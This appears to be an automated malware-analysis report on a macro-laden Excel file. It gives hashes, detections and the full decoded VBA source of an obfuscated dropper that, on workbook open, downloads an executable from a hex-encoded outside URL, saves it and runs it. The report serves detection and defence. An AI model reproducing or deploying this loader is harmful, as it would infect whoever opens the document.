Office (OOXML) malware analysis — malicious · bfec15094b359e85

MALICIOUS

Office (OOXML)

53.4 KB First seen: 2020-09-07

MD5: cc5ab7141da35a1d8ee0dc4da2016873 SHA-1: 22f163e86732fb7d5ee94902e68ce0191b6b2aa7 SHA-256: bfec15094b359e8582cc9597e29b9ff7db464b53408a66e1b1b7114c8edd088d

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Office document containing obfuscated VBA macros designed to execute malicious code. The Workbook_Open macro triggers a function that uses CreateObject to instantiate an object, likely for downloading and executing a payload from the URL 'http://massdispd.com/imgs/temp/predgfrt.exe'. This behavior is consistent with a macro-based dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba.write ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6611 bytes
SHA-256: `0eb2aaab34662270f6b8581763a5d130626a2c370b289d17d384506fc3586c81`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select qrwqtkgjfeyprucnwthjbgwrezmhurlfctrggeftetafzwmmdbhsobqjuemuyzoossmxcvgrnoehgrsimaetjtqbdilbslvfelmg"68 74 74 70 3A 2F 2F 6D 61 73 73 64 69 73 70 2E 63 6F 6D 2F 69 6D 67 73 2F 74 65 6D 70 2F 70 72 65 64 67 66 72 74 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub qrwqtkgjfeyprucnwthjbgwrezmhurlfctrggeftetafzwmmdbhsobqjuemuyzoossmxcvgrnoehgrsimaetjtqbdilbslvfelmg (acngwigftbhyckctefjxrewwjfnqteecflrpkeztlvepizlngajognzwfrwrupmowftrtmizfqlvzgnkuzktvpvrlujthiywiptd As String) Dim ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl Range("A6:J13").Select Dim zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba Range("A6:J13").Select Dim pescprsqentgfwnynpcaizhdegrnoadqgzvpwqwpdhenklyqghfgbbrpwpyjaebejczgbybwtnwbvuttiahhuwpehgthsmozfzeh Range("A6:J13").Select Set ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set pescprsqentgfwnynpcaizhdegrnoadqgzvpwqwpdhenklyqghfgbbrpwpyjaebejczgbybwtnwbvuttiahhuwpehgthsmozfzeh = CreateObject(jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) xpenldygojnwxwezgudndauzflofdnhtacollrbfcsrfuwmfoenmzeswvfhzpscbcuvvitopsxkljofjziqyzvtvjrpgkcqjqqda = jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody(acngwigftbhyckctefjxrewwjfnqteecflrpkeztlvepizlngajognzwfrwrupmowftrtmizfqlvzgnkuzktvpvrlujthiywiptd) arxuqytbuhngayagcebgaalqdheqgbvtkejilvhabrbbejglckhlowzzfgritdvtmtwvprugwafiyjmubtovtjfnejceeyhywipk = jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6B 6A 67 6E 64 79 75 6F 78 2e 65 78 65") mlwkpapnrrbwtwhaozzdojqfppcxtglqubiqwefttrvniglhrgkwjlwduqvzyrtlfkcroqdktgjwndxievfnwphifevfigucykhx = jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6B 6A 67 6E 64 79 75 6F 78 2e 65 78 65") ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl.Open chr(71) + chr(69) + chr(84), xpenldygojnwxwezgudndauzflofdnhtacollrbfcsrfuwmfoenmzeswvfhzpscbcuvvitopsxkljofjziqyzvtvjrpgkcqjqqda, False ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl.send zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba.Type = 1 zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba.Open zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba.write ftutrjipcdwzemwvettgjbgycpsxspmknjeafqblhfphykpvldrpwmuenwrbrlxnqmluhvporhzdmyzraxloxxnboanjzzuwibrl.responseBody zunqndxomrrpwzbuziptykfhigprmdvkgnsfjvbuzyoxixmzyawzmynpofhhogcjvhiigvkehvtavizktptmgvyiadrenugtweba.savetofile arxuqytbuhngayagcebgaalqdheqgbvtkejilvhabrbbejglckhlowzzfgritdvtmtwvprugwafiyjmubtovtjfnejceeyhywipk, 2 pescprsqentgfwnynpcaizhdegrnoadqgzvpwqwpdhenklyqghfgbbrpwpyjaebejczgbybwtnwbvuttiahhuwpehgthsmozfzeh.Run mlwkpapnrrbwtwhaozzdojqfppcxtglqubiqwefttrvniglhrgkwjlwduqvzyrtlfkcroqdktgjwndxievfnwphifevfigucykhx End Sub Public Function jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody(ByVal lrphfjnnfqtbwebzxujnnvzvfuegzxvvqliqlzblibzrmrknlobkqrupruclehoiuxlkwkoxtyemwiiojqukvlfzrsyqxqgbmqwo As String) As String Dim faqbzdrsmitjlnbomdnjsmtelyacrczflujjztlrtnmjzpejosojdnvsgmpbcpajinyresossvqfakewtrnynqcxyqcmejodmcam As String Dim rnewewqhxqswitilbcwskatopbojhmtxjsffnqurzuzhxfekadbkghbqtphchhalxvmqocxlhetqalrjweidkjrcqomxjrkrtokc As String Dim towyfqccnkphyxgdzxaodkzzqzbqubxmboqihjytgpogzezllhswnvyipxifpmhmncgkhyvpyhhovszlapfniayfphskbteuhcsw As Long For towyfqccnkphyxgdzxaodkzzqzbqubxmboqihjytgpogzezllhswnvyipxifpmhmncgkhyvpyhhovszlapfniayfphskbteuhcsw = 1 To Len(lrphfjnnfqtbwebzxujnnvzvfuegzxvvqliqlzblibzrmrknlobkqrupruclehoiuxlkwkoxtyemwiiojqukvlfzrsyqxqgbmqwo)Step 3 faqbzdrsmitjlnbomdnjsmtelyacrczflujjztlrtnmjzpejosojdnvsgmpbcpajinyresossvqfakewtrnynqcxyqcmejodmcam = Chr$(Val("&H" & Mid$(lrphfjnnfqtbwebzxujnnvzvfuegzxvvqliqlzblibzrmrknlobkqrupruclehoiuxlkwkoxtyemwiiojqukvlfzrsyqxqgbmqwo, towyfqccnkphyxgdzxaodkzzqzbqubxmboqihjytgpogzezllhswnvyipxifpmhmncgkhyvpyhhovszlapfniayfphskbteuhcsw, 2))) rnewewqhxqswitilbcwskatopbojhmtxjsffnqurzuzhxfekadbkghbqtphchhalxvmqocxlhetqalrjweidkjrcqomxjrkrtokc = rnewewqhxqswitilbcwskatopbojhmtxjsffnqurzuzhxfekadbkghbqtphchhalxvmqocxlhetqalrjweidkjrcqomxjrkrtokc & faqbzdrsmitjlnbomdnjsmtelyacrczflujjztlrtnmjzpejosojdnvsgmpbcpajinyresossvqfakewtrnynqcxyqcmejodmcam Next towyfqccnkphyxgdzxaodkzzqzbqubxmboqihjytgpogzezllhswnvyipxifpmhmncgkhyvpyhhovszlapfniayfphskbteuhcsw jojhuqeawicdmdhxvvfzcluujfycszduemyyrwysoqfufhoody = rnewewqhxqswitilbcwskatopbojhmtxjsffnqurzuzhxfekadbkghbqtphchhalxvmqocxlhetqalrjweidkjrcqomxjrkrtokc End Function Attribute VB_Name = "etsaczdcbaprtmvdlgoqdtmjv" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `63861a167c976581043f74eaa2b2cb003cc5a0180a31634b5051eeaa06a3608b`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 117 of 209 identifiers look randomly generated (e.g. 'etsaczdcbaprtmvdlgoqdtmjv') — consistent with name-mangling obfuscation.

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